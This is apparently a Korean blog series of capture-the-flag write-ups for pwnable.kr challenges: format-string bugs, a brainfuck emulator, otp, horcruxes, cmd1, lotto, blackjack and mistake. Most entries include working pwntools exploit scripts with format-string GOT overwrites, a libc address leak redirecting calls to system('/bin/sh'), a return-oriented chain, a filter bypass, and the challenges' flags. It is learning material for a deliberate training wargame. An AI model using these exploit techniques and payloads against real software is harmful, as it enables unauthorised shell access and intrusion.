FSB (Format string bug) 취약점 문제로 보인다.





flag, 바이너리, 코드가 있다.


코드를 확인해보면 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
 
unsigned long long key;
char buf[100];
char buf2[100];
 
int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh"0};
        int i;
 
        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++for(c=*arg; *c;c++*c='\0';
        for(arg=envp;*arg;arg++for(c=*arg; *c;c++*c='\0';
        *pargv=0;
        *penvp=0;
 
        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }
 
        printf("Wait a sec...\n");
        sleep(3);
 
        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 010);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }
 
        printf("Incorrect key \n");
        return 0;
}
 
int main(int argc, char* argv[], char** envp){
 
        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8!= 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);
 
        alloca(0x12345 & key);
 
        fsb(argv, envp); // exploit this format string bug!
        return 0;
}
cs



먼저 난수를 발생시켜 key를 만들고 이 키를 맞히면 쉘을 얻을 수 있는 문제이다.


fsb 함수에서는 사용자에게 키를 입력받고 이게 key와 일치하면 쉘을 실행시키는데


22번 라인에 있는 반복문에서 4개의 문자열을 입력받는데 printf에서 형식 지정자(format string)을


사용하지 않고 그냥 출력하는 것을 확인할 수 있다. 여기서 취약점이 있다.


당연 buf에 입력받기 때문에 처음엔 return address를 갖고있는 스택 주소를 buf에 쓰고 


다시 format string  bug로 return address를 쉘을 실행시키는 구문으로 돌리면 될거라 생각했는데..


buf가 전역변수였다.


즉, 내가 원하는 임의의 주소에 값을 쓰지는 못한다는 건데, 어셈을 본다..



read 함수를 통해 4회 반복을 돌며 입력을 받는 부분인데, buf에 입력 직후 스택 상황을 보기 위해 fsb+212에 bp를 걸고 실행해본다.





















buf가 전역변수이기 때문에 스택 상에서 입력한 문자열을 확인할 수 없었다.


고민을 하다가 스택에 값을 쓸 수 없다면 이미 쓰여져 있는 값 중에 활용할만한게 없나 살펴봤다.


스택에 특정 접근 가능한 주소값이 쓰여져있으면 해당 주소값을 이용하여 원하는 곳에 값을 쓸 수 있을 것이다.






저 위치에 쓰여져있던 주소가 실행 도중 esp에서 비교적 가까운 위치의 주소를 담고있었다.


이를 이용해서 0xff8322230 위치에 있는 메모리에 원하는 값을 쓸 수 있게 된다.


for문이 총 4회 반복되기 때문에 총 4번의 format string이 가능하다.


이를 어떻게 이용할까 고민해보고 처음엔 return address를 덮으려 했으나.. return address를 담고있는 주소가 터무니 없이 커서


format string을 위해 그 주소만큼 공백 문자를 채워 출력하려니 너무 오래걸릴 것 같았다.


다른 방법을 고민하다가 got를 쓰는 것도 가능할 것 같아서 시도했다. 


먼저 타겟 함수를 찾아본다.





다행히 덮어쓸만한 함수가 많다.


printf, read, sleep 함수들을 덮어써도 되겠지만 나는 strtoull로 결정했다.


이제 필요한 주소들을 확인해본다.





strtoull 함수의 got 상의 주소는 0x804a020




쉘을 실행시킬 수 있는 점프 주소는 0x0804869f



주소는 다 구했으니 공격을 하면


첫 번째 format string bug로 아까 스택 상에서 접근할 수 있던 주소에 strtoull의 got 주소인 0x804a020을 쓰고


두 번째 format string bug로 0x804a020에 쉘을 실행시키는 주소인 0x804869f를 쓰면 


strtoull 함수가 호출될 때 쉘을 얻을 수 있을 것이다.


공격을 해보면,





입력 직후 화면에서 esp부터 출력한거고, 맨 위에서 두 번째 0x0804a100이 buf의 주소니까


format string bug로 접근이 가능한 주소의 시작부분은 맨 위에서 두 번째(0xff83e1e4)이다.


목표 지점인 0xff832218까진 %x가 13번 필요하고 14번째에 %n을 통해 0x804a020을 쓴다.


마지막 %x는 출력 바이트 수를 조정하기 위해 0x804a020에서 현재까지 출력한 0x8*12만큼을 빼준다.


1
"%8x"*12 + "%" + str(0x804a020-0x8*12+"x" + "%n" 
cs



두 번째 format string에선 목표 지점인 0xff832230에 0x804a020이 쓰여졌을 것이고


여기까지 다시 접근 후 %n을 이용하여 쉘을 실행시키는 주소인 0x804869f를 쓴다.


마찬가지로 목표 지점까진 %x가 19번 필요하고 마지막 %x에서는 출력 문자의 수를 맞춰준다.


"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"


1
"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"
cs






flag : 


1
Have you ever saw an example of utilizing [n] format character?? :(
cs





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
strtoull_addr = 0x804a020
 
def main():
    id         = 'fsb'
    host     = 'pwnable.kr'
    port     = 2222
    pw         = 'guest'
    s = ssh(id, host, port=port, password=pw)
    
    r = s.run('./fsb')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 1st pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 2nd pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    payload1 = "%8x"*12 + "%" + str(strtoull_addr-0x8*12+"x" + "%n"  # 3rd fsb attack
    print(payload1)
    r.sendline(payload1)
    rcv = r.recvline_startswith('Give')
    print(rcv)
    
    payload2 = "%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n" # 4th fsb attack
    print(payload2)
    r.sendline(payload2)
    rcv = r.recvline_startswith('key')
    print(rcv)
    r.sendline('s')     # send any string as key
    r.interactive()
 
main()
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01



simple brain fuck language emulator


이 문장을 봐선 brain fuck이란 언어가 있는 것 같다.


전에 풀어봤던 문제 중 ws 언어와 비슷한 문제인가 싶어서 검색을 해봤다.





brain fuck?



귀찮아서 나무위키 읽었다.


음. 8개의 문자로 구성된 명령어 집합으로 튜링 머신이 하는 연산을 모두 수행할 수 있는 프로그래밍 언어라는 것 같다.


문제에서 제공해준 바이너리를 다운받아 로컬에서 분석했다.




bf 바이너리의 main 함수이다.


p라는 변수에 tape의 주소를 담는다.


1024 크기의 문자열을 선언하고 0으로 초기화하고 사용자로부터 입력을 받아 배열에 저장한다.


그리고 그 입력된 문자열의 각 문자를 do_brainfuck() 함수를 호출하며 인자로 전달한다.


do_brainfuck() 함수는 다음과 같이 생겼다.




아까 봤던 8개의 문자 중 6개( + , - . < > )가 구현되어있고 ( [ ] )는 구현되지 않은 상태로 보인다.


+ 문자를 입력하면 p가 가리키는 값을 1 증가시키고


, 문자를 입력하면 p가 가리키는 문자를 사용자가 입력한 한 바이트의 값으로 변경하고


- 문자를 입력하면 p가 가리키는 값을 1 감소시키고


< 문자를 입력하면 p가 가리키는 주소의 값을 1바이트 감소시키고 (shift left)


> 문자를 입력하면 p가 가리키는 주소의 값을 1바이트 증가시킨다 (shift right)



p는 전역으로 선언되었고 tape의 주소를 담고있으니


p = 0x0804A0A0 라고 생각할 수 있겠다.


당연히 brain fuck 연산에 있어서 메모리 범위를 체크하지 않기 때문에 사용자가 입력하는 명령어에 의해


p를 특정 코드 주소 공간으로 이동하여 읽고 쓸 수 있게된다.


여기서 생각해볼 수 있는건 GOT 테이블.


GOT 테이블까지 이동하고 테이블에 있는 함수의 주소를 덮어쓰면 우리가 원하는 함수를 실행시킬 수 있을 것이다.



다행히 got 테이블이 근처에 있다.


p에 담긴 tape의 주소가 0x0804A0A0였고 GOT의 시작 주소는 0x0804A000이다. 


코드 상으로 p에 담긴 tape의 주소보다 0xA0만큼 위에 GOT가 존재한다.


GOT 테이블의 특정 함수들을, system 함수로 변경하여 쉘을 실행시킬 수 있을 것이다.


쉘을 실행시키기 위해선 "/bin/sh"과 같은 문자열을 입력할 수있어야 할 것이고, 때문에 gets과 같이 문자열을 입력받는 함수도 필요할거다.


즉, got 상의 두 함수를 system과 gets 함수로 바꿔야 된다고 볼 수있는데.


gets에서 인자로 전달된 인자를, system에서도 인자로 전달받아야 하기 때문에, 이 조건을 만족하는 함수들이 있는지 먼저 찾아야한다.





조건을 만족하는 함수가 바로 있다.


memset과 fgets


각 함수가 전달받는 인자의 개수는 상관 없다. 어차피 gets와 system 함수는 한 개의 인자만 전달받기 때문에, 


2번째 이후에 무슨 인자가 오든 덮어써진 함수들은 신경을 쓸 필요가 없다. 


말이 좀 어려울 수 있는데 정리하면.



memset을 gets, fgets를 system 함수로 덮어쓰면


memset은 한 개의 인자만 전달받기 때문에 s 인자만을 가져갈 것이고, c와 n은 무시된다.


마찬가지로 system 함수 또한 한 개의 인자만 전달받기 때문에 s 인자만 가져갈 것이고 n과 stream은 무시된다.


아무튼, 둘 다 공통된 s를 인자로 받기 때문에 이 함수들을 덮어쓰는 것으로 쉘은 실행시킬 수 있다.


덮어써준 다음엔 main 함수를 호출해줘야 한다.


이것 또한 do_brainfuck() 함수 내에서 호출되는 라이브러리 함수를 got overwrite 해서 호출할 수 있다.



난 여기서 putchar 함수를 main 함수의 주소로 덮어썼다.


이렇게되면 모든 memset, fgets, putchar 함수의 got를 overwrite 하는 명령어를 작성한 후에


main으로 덮어써진 putchar를 호출할 수 있는 '.' 명령어를 통해 main을 다시 호출할 수 있다.



정리하면


memset    -> gets

fgets         -> system

putchar     -> main


으로 변경해준다.




위에서부터 순서대로 하자.


fgets 함수의 주소는 0x0804A010

memset 함수의 주소는 0x0804A02C

putchar 함수의 주소는 0x0804A030


먼저 "<"를 fgets 함수의 주소가 쓰여진 got의 위치까지 이동하고


그 위치에서 4 바이트를 읽으면 fgets 함수의 주소를 구할 수 있다.


이 구한 주소에서 라이브러리 상의 fgets 함수의 offset을 빼면 라이브러리가 올라간 base 주소를 구할 수 있다.


이렇게 구한 base 주소에 각 overwrite 할 함수(gets, system 함수)의 offset을 더하여 덮어쓸 주소를 구한다.


덮어쓴 이후엔 gets 함수에 전달할 "/bin/sh"를 입력하면 쉘을 얻을 수 있다.



※ 서버의 응답 메시지를 기다릴 때 개행문자("\n")까지 기다려주지 않으면 이상한 값이 섞여들어가 공격이 되지 않는다...



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
 
fgets_addr      = 0x0804A010  # address of fgets's got table
memset_addr  = 0x0804A02C  # address of memset's got table
putchar_addr = 0x0804A030  # address of putchar's got table
tape_addr      = 0x0804A0A0  # address of pointer p
 
fgets_offset  = 0x0005E150 # to get base address of loaded library
gets_offset   = 0x0005F3E0 # offset of gets in library binary
system_offset = 0x0003ADA0 # offset of system in library binary
main_addr      = 0x08048671 # address of main function to overwrite putchar
 
def do_bf(s):
    payload  = "<" * (tape_addr - fgets_addr)             # move to address of fgets
    payload += ".>" * 4                                 # read address of fgets
    payload += "<" * 4                                  # rewind pointer
    payload += ",>" * 4                                 # overwrite address of fgets to system
    payload += ">" * (memset_addr - fgets_addr - 4)     # move to address of memset
    payload += ",>" * 4                                    # overwrite address of memset to gets
    payload += ">" * (putchar_addr - memset_addr -4)    # move to address of putchar
    payload += ",>" * 4                                    # overwrite address of putchar to main
    payload += "."                                        # call putchar (=main)
    s.sendline(payload)
 
 
def main():
    s = remote("pwnable.kr"9001)
 
    #rcv = s.recvuntil(']')                            # you should also wait '\n'....
    rcv = s.recvuntil(']\n')
    print(rcv)
    
    do_bf(s)                                        # send payload to do brain fuck
 
    loaded_fgets_addr = u32(s.recvn(4))             # read address of fgets got address
 
    base_addr     = loaded_fgets_addr - fgets_offset     # get base address of loaded binary
    gets_addr     = base_addr + gets_offset            # get address of gets in memory
    system_addr = base_addr + system_offset            # get address of system in memory
 
    s.send(p32(system_addr))                        # overwrite fgets to system
    s.send(p32(gets_addr))                            # overwrite memset to gets
    s.send(p32(main_addr))                            # overwrite putchar to main
    s.sendline("/bin/sh")                            # pass argument to gets function
 
    s.interactive()                                    # get shell
 
main()
cs







1
BrainFuck? what a weird language..
cs








'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

fsb  (0) 2019.01.13
otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01



bruteforce는 하지 말라는게 힌트다.


삽질을 굉장히 많이했고 도저히 모르겠어서 결국 검색을 통해 푼 문제다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
int main(int argc, char* argv[]){
        char fname[128];
        unsigned long long otp[2];
 
        if(argc!=2){
                printf("usage : ./otp [passcode]\n");
                return 0;
        }
 
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);
 
        if(read(fd, otp, 16)!=16) exit(-1);
        close(fd);
 
        sprintf(fname, "/tmp/%llu", otp[0]);
        FILE* fp = fopen(fname, "w");
        if(fp==NULL){ exit(-1); }
        fwrite(&otp[1], 81, fp);
        fclose(fp);
 
        printf("OTP generated.\n");
 
        unsigned long long passcode=0;
        FILE* fp2 = fopen(fname, "r");
        if(fp2==NULL){ exit(-1); }
        fread(&passcode, 81, fp2);
        fclose(fp2);
 
        if(strtoul(argv[1], 016== passcode){
                printf("Congratz!\n");
                system("/bin/cat flag");
        }
        else{
                printf("OTP mismatch\n");
        }
 
        unlink(fname);
        return 0;
}
cs



문제의 otp 바이너리의 소스코드이다.


passcode를 입력하고 /dev/urandom을 통해 16 바이트의 난수를 읽어오고, 앞의 8바이트는 파일의 이름으로 임시 파일을 생성,


뒤의 8바이트는 생성한 임시 파일에 쓰고 이걸 후에 다시 읽어와서(passcode) 사용자의 입력(argv[1])과 비교한다.






/tmp 디렉토리에  코드를 복사하여 이런저런 테스트를 해봤다.


도저히 모르겠어서 검색해보니 ulimit과 관련된 문제라는 힌트가 있었다.



ulimit?


user가 생성할 수 있는 resource의 제한을 두는 것을 의미하는데


해당 문제에서는 120000으로 설정되어있었다.



즉, user가  해당 쉘에서 자식 프로세스로 생성되는 프로세스가 생성할 수 있는 파일의 크기가 최대 120000으로 제한한다는 것인데


이걸 user가 변경할 수 있는 것 같다.


만약 user가 이 제한을 0으로 변경하면 실행되는 자식 프로세스는 모두 파일을 생성할 수 없게된다.


이 문제는 이 제한을 변경해서 otp 프로세스가 파일을 생성하지 못하게 하는 문제다.




ulimit을 0으로 설정하면 다음 코드에서 문제가 발생할 것이다.




파일을 생성하고 파일을 쓰는데, 쓸 수 있는 파일의 크기가 0으로 제한되기 때문에 파일에는 아무 값도 쓸 수 없게된다.


이 때 다음과 같이 파일의 크기가 커서 생성이 못하는 의미를 갖는 27번 errno이 설정된다. 


1
#define EFBIG       27  /* File too large */
cs






그럼 이 부분에서 문제가 생기는데, 원래 파일에서 읽어야 할  passcode를 파일에 읽을 데이터가 없기 때문에 읽을 수 없게된다.


passcode는 여기서 null이 되고 이후 비교문을 보면



이 부분에서 strtoul 함수의 반환값이 0이 되어야 한다.


즉 argv[1]에 아무 값도 전달하지 않아야 한다는 것인데 터미널에서 실행시키는 방법으론 방법이 생각나지 않는다.


그래서 파이썬 스크립트로 subprocess로 실행시키는 방법을 사용했다.


1
2
import subprocess
subprocess.call(['/home/otp/otp'''])
cs


이렇게 인자를 전달하면 argv[1]에는 null이 들어가게 된다.


/tmp 디렉토리에 해당 파이썬 스크립트를 작성하고 다음과 같이 ulimit을 0으로 설정한다.




이제 파이썬 스크립트를 실행하면..




플래그가 출력된다.


1
Darn... I always forget to check the return value of fclose() :(
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

fsb  (0) 2019.01.13
brain fuck  (0) 2019.01.08
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01


ROP 문제다


접속을 해보자




9032 포트를 통해 바이너리를 실행시킬 수 있다.


IDA로 분석을 위해 먼저 바이너리를 다운받아본다.



1
scp -2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./Desktop/
cs




main 함수이다.




랜덤한 값에서 a, b, c, d, e, f, g의 값이 만들어지고 그 모든 값을 더한 값이 sum이 된다





ropme 함수이다.


사용자가 입력한 값이 a, b, c, d, e, f, g 중 하나에 해당할 경우 그에 맞는 A, B, C, D, E, F, G 함수가 실행된다.




대문자 이름을 가진 각 함수는 위와 같이 생겼다.


호출되면 조건 분기문에서 검사하는 값을 출력한다.




결과적으로 사용자가 입력한 값이 sum과 일치해야 한다


따라서 사용자는 a, b, c, d, e, f, g의 값을 알아야 하고 


gets 함수에서 buffer overflow가 가능하니 ROP 기법을 이용해 A, B, C, D, E, F, G 함수를 호출하여 알아낼 수 있다.





ropme를 보면 먼저 0x78만큼의 스택 크기를 사용하는데


이부분이 gets 함수에 사용되는 buf 메모리 크기이다.


따라서 0x78 이후의 4바이트는 ropme의 return 주소일 것이다.

 




실제 buf의 시작 주소로부터 0x78 이후에 return 주소가 있다.




각 함수의 주소는 이렇고


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
id   = 'horcruxes'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
def send_payload(conn):
    A = p32(0x809fe4b)
    B = p32(0x809fe6a)
    C = p32(0x809fe89)
    D = p32(0x809fea8)
    E = p32(0x809fec7)
    F = p32(0x809fee6)
    G = p32(0x809ff05)
    ropme = p32(0x809fffc)
    payload = "A" * 120 + A + B + C + D + E + F + G + ropme
    conn.sendline(payload)
 
def get_exp(conn):
    conn.recvuntil("EXP +")
    return conn.recvuntil(")")[:-1]
 
def exploit():
    conn = s.connect_remote('localhost'9032)
    conn.recvuntil(':')
    conn.sendline("1")
    conn.recvuntil(":")
    send_payload(conn)
    exp = 0
    for i in range(7):
        exp += int(get_exp(conn))
 
    conn.recvuntil(":")
    conn.sendline("1")
    conn.recvuntil(":")
    conn.sendline(str(exp))
 
    conn.interactive()
 
exploit()
cs





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01
12. blackjack  (0) 2018.10.01



PATH 환경변수 관련 문제인 것 같다.


코드를 보자.




짧다.


시작하자마자 PATH 환경변수를 덮는다.


그리고 argv[1]을 filter 함수로 filter 후에 "flag", "sh", "tmp"가 없으면


system 함수로 실행한다.



1
./cmd1 "/bin/cat /home/cmd1/flag"
cs



대충 이런 문장을 실행시켜서 플래그를 읽어야 할 것 같은데..


여긴 "flag"라는 문자열이 들어가기 때문에 실행할 수 없다.


그럼..





1
mommy now I get what PATH environment is for :)
cs





pwntools



1
2
3
4
5
6
7
8
9
10
11
from pwn import *
 
id   = 'cmd1'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
argv = '\"/bin/cat /home/cmd1/f*\"'
res = s.run('./cmd1 ' + argv)
res.interactive()
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. lotto  (0) 2018.10.01
12. blackjack  (0) 2018.10.01
11. coin1  (0) 2018.10.01


로또 프로그램이란다.





바로 코드를 봤고


play() 함수만 보면 된다.



난수를 발생시켜 로또 숫자를 생성한다.




생성한 로또 번호를 모듈러 연산으로 1~45의 값만 가지게 하는데



유저가 키보드로 입력할 수 있는 값은 33("!")부터다..


1~ 32는 키보드로 입력할 수 없는 값인데..


어떻게 맞추나 했는데 로또 숫자 조건 검사식이 조금 이상하다.





lotto[i] == submit[j]


i.. j...


로또의 각 숫자를 제출한 6자리의 각 숫자와 비교하고..


맞을 경우 match가 증가한다.


제출을 같은 숫자 6자리로 제출하고...


로또의 6자리 수 중 하나라도 맞추면 정답인데..


경우의 수가 엄청 많아보이지만.. 넣을 수 있는 값인 33("!")을 반복해서 넣어서 일단 시도해봤다.


 







pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
id   = 'lotto'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
res = s.run('./lotto')
res.recvuntil('Exit')
res.sendline('1')
res.recvuntil(':')
res.sendline('!!!!!!')
res.interactive()
 
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
12. blackjack  (0) 2018.10.01
11. coin1  (0) 2018.10.01
10. shellshock  (0) 2018.09.26


블랙잭 게임에서 백만장자에게 플래그를 준다고 한다.


일단 접속해본다.





시작 화면이다.





이런 화면이 나오고 2번 옵션을 누르면 블랙잭의 룰을 설명해준다.






1번을 누르면 위와 같이 나오고 기본 자산은 500달러다.




돈을 모두 잃으면 이렇게 나오고 여기서 Y를 누르면 500$에서 다시 시작한다.




게임은 대충 이해가 갔으니 제공해준 URL에 접속해서 소스코드를 확인해봤다.



소스코드를 확인해보니 좀 이상한 곳이 존재했는데..



소스코드가 상당히 길어 대부분 생략하고 그 부분만 가져와서 적어본다.




사용자로부터 배팅할 금액을 입력받는 함수이다.


배팅할 금액으로 입력받은 bet 변수가 현재 잔액(cash)보다 큰지 확인한다.


확인하고 잔액보다 클 경우 다시 입력을 요구하는데


문제는 다시 입력받은 배팅 금액을 다시 잔액과 비교하여 체크하지 않고 바로 리턴을 해버리는 것이다...


그러면 bet 금액을 현재 잔액보다 큰 금액을 입력하고


그 후에 입력하는 금액이 내 현재 잔액과 상관 없이 배팅을 하는 것...


한 번만 이기면 될 것 같은데..




현재 잔액보다 큰 금액을 입력하고..




이겼당




잔액이 엄청 커졌고 그 위에 이상한 문장이 출력됐다.



플래그다.




'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01
11. coin1  (0) 2018.10.01
10. shellshock  (0) 2018.09.26
9. mistake  (0) 2018.09.26


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

13. lotto  (0) 2018.10.01
12. blackjack  (0) 2018.10.01
10. shellshock  (0) 2018.09.26
9. mistake  (0) 2018.09.26
8. leg  (0) 2018.09.25



문제 이름부터 shellshock이다






'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

12. blackjack  (0) 2018.10.01
11. coin1  (0) 2018.10.01
9. mistake  (0) 2018.09.26
8. leg  (0) 2018.09.25
7. input  (0) 2018.09.25



힌트가 연산자 우선순위란다.



들어가보자.





이전에 풀었던 문제와 유형은 같은 것 같다.


mistake를 실행해서 flag를 출력시키기


mistake.c를 살펴보자





password 파일을 열고 PW_LEN(10bytes)만큼 읽어온다.


그리고 사용자한트 password를 입력받고 이 값의 각 문자를 1과 xor 연산을 한 결과를


password 파일에서 읽은 값과 비교하고 일치하면 플래그를 출력한다.



처음엔 코드상으로 뭐가 문제인지 모르겠어서 일단 실행을 해봤다.





뭘까..  'do not bruteforce...'가 출력된 이후에 사용자의 입력이 들어가는 부분이 있다..


입력을 한 이후에 'input password :'가 출력된다.


다시 코드를 보자




자세히 살펴보니 네모 부분에서 문제가 있었는데..


힌트에서 언급한 연산 우선순위에 의해서 발생하는 문제였다






이부분을 보면 개발자의 의도는


open 함수가 반환한 fd(file descriptor)를 fd 변수에 담을 생각이었을 것이다.


open 함수는 열기에 실패할 경우 -1을 반환하기 때문에  


' < 0 ' 이 부분으로 예외처리를 하려고 했을 것인데..


연산 우선순위를 고려하면 이렇게 하면 안된다..






연산 우선순위다.


할당(assignment) 연산의 우선순위는 17위다. 반면에 비교 연산의 우선순위는 9위.


따라서 할당과 비교가 같이 오면 비교를 먼저 한다는 뜻이다.




따라서 네모친 부분이 먼저 실행되는 것이고


반환된 password 파일에 대한 fd의 값은 실패하지 않을 경우는 양수가 반환되므로 당연히 저 부분은 false.


비교 연산은 True면 1, False면 0을 반환하므로


fd에는 결국 0이 할당되게 되는 것이다.


그럼 fd는 표준 입력과 같게 되고




여기서 fd로부터 10 글자 읽어오는 구문은


표준 입력으로 10 글자를 읽어오는 것이다.


따라서 우리가 입력한 10 글자의 문자와


이후 scanf로 입력하는 password의 각 문자를 xor 1 한 값과 일치하면 플래그가 출력되는 것이다.









pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
id   = 'mistake'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
res = s.run('./mistake')
res.sendline('1111111111')
res.recvuntil(':')
res.sendline('0000000000')
res.interactive()             
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

11. coin1  (0) 2018.10.01
10. shellshock  (0) 2018.09.26
8. leg  (0) 2018.09.25
7. input  (0) 2018.09.25
6. random  (0) 2018.09.16

+ Recent posts